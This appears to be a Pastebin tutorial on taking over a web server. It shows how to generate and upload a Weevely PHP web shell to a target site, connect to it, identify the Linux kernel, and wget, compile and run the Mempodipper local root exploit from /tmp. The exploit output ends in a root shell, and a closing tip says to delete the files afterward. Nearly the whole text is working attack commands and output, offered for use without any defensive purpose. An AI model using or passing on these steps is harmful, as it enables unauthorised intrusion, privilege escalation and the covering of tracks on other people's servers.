Guest User

Untitled

a guest
Nov 1st, 2012
10
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.76 KB | None | 0 0
  1. Weevely to root tutorial
  2.  
  3. wget https://github.com/downloads/epinna/Weevely/weevely-0.7.1.tar.gz
  4.  
  5. now type ./weevely.py generate <password>
  6.  
  7. <password> is the bit you change to any password
  8. EG ./weevely.py generate Password123
  9.  
  10. this will create a weevely.php file in your current dir
  11. if you're sill unsure this is an in depth tutorial on this https://github.com/epinna/Weevely/wiki/Tutorial
  12.  
  13. Now once you have uploaded you weevely.php file to the target server and you know what dir to locate it in we go onto the next step
  14.  
  15. connecting to your backdoor
  16. ./weevely.py http://www.targetsite.com/dir/weevely.php <password>
  17.  
  18. the <password> is what you chose when making the backdoor
  19.  
  20. Should look like this:
  21.  
  22. user@IMNOTAPC:~$ ./weevely.py http://xxxxx.xx/weevely.php Password123
  23. ________ __
  24. | | | |-----.----.-.--.----' |--.--.
  25. | | | | -__| -__| | | -__| | | |
  26. |________|_____|____|___/|____|__|___ | v0.7.1
  27. |_____|
  28. Stealth tiny web shell
  29.  
  30. [+] Starting terminal, shell probe may take a while
  31. [+] List modules with <tab> and show help with :show [module name]
  32.  
  33.  
  34. now that we have the back door its time to find out the linux kernel version
  35. type:
  36. uname -a
  37. response:
  38.  
  39. Linux xxxxxxxx.miniserver.com 2.6.39.4-x1 #1 SMP Wed Oct 26 11:39:05 GMT 2011 i686 GNU/Linux
  40.  
  41. Note the ker version is 2.6.39, there is a local root exploit for this, so we can google
  42. "2.6.39 local root exploit"
  43. there is one on exploit-db
  44.  
  45. now I go back to my shell then type:
  46. cd /tmp
  47. this is because /tmp will always let you write the file to it
  48.  
  49. and type:
  50. wget http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c
  51.  
  52. then type:
  53. gcc -o test mempodipper.c
  54. replace mempodipper.c with the exploit suited to your server
  55. now to set permissions :
  56. chmod u+x test
  57.  
  58. now to run:
  59.  
  60. ./test
  61.  
  62. ===============================
  63. = Mempodipper =
  64. = by zx2c4 =
  65. = Jan 21, 2012 =
  66. ===============================
  67.  
  68. [+] Ptracing su to find next instruction without reading binary.
  69. [+] Creating ptrace pipe.
  70. [+] Forking ptrace child.
  71. [+] Waiting for ptraced child to give output on syscalls.
  72. [+] Ptrace_traceme'ing process.
  73. [+] Error message written. Single stepping to find address.
  74. [+] Resolved call address to 0x8049984.
  75. [+] Opening socketpair.
  76. [+] Waiting for transferred fd in parent.
  77. [+] Executing child from child fork.
  78. [+] Opening parent mem /proc/411/mem in child.
  79. [+] Sending fd 6 to parent.
  80. [+] Received fd at 6.
  81. [+] Assigning fd 6 to stderr.
  82. [+] Calculating su padding.
  83. [+] Seeking to offset 0x8049978.
  84. [+] Executing su with shellcode.
  85.  
  86.  
  87. YOU HAVE ROOT :D
  88.  
  89. don't forget to delete them
  90. rm -r <filename>
Advertisement
Add Comment
Please, Sign In to add comment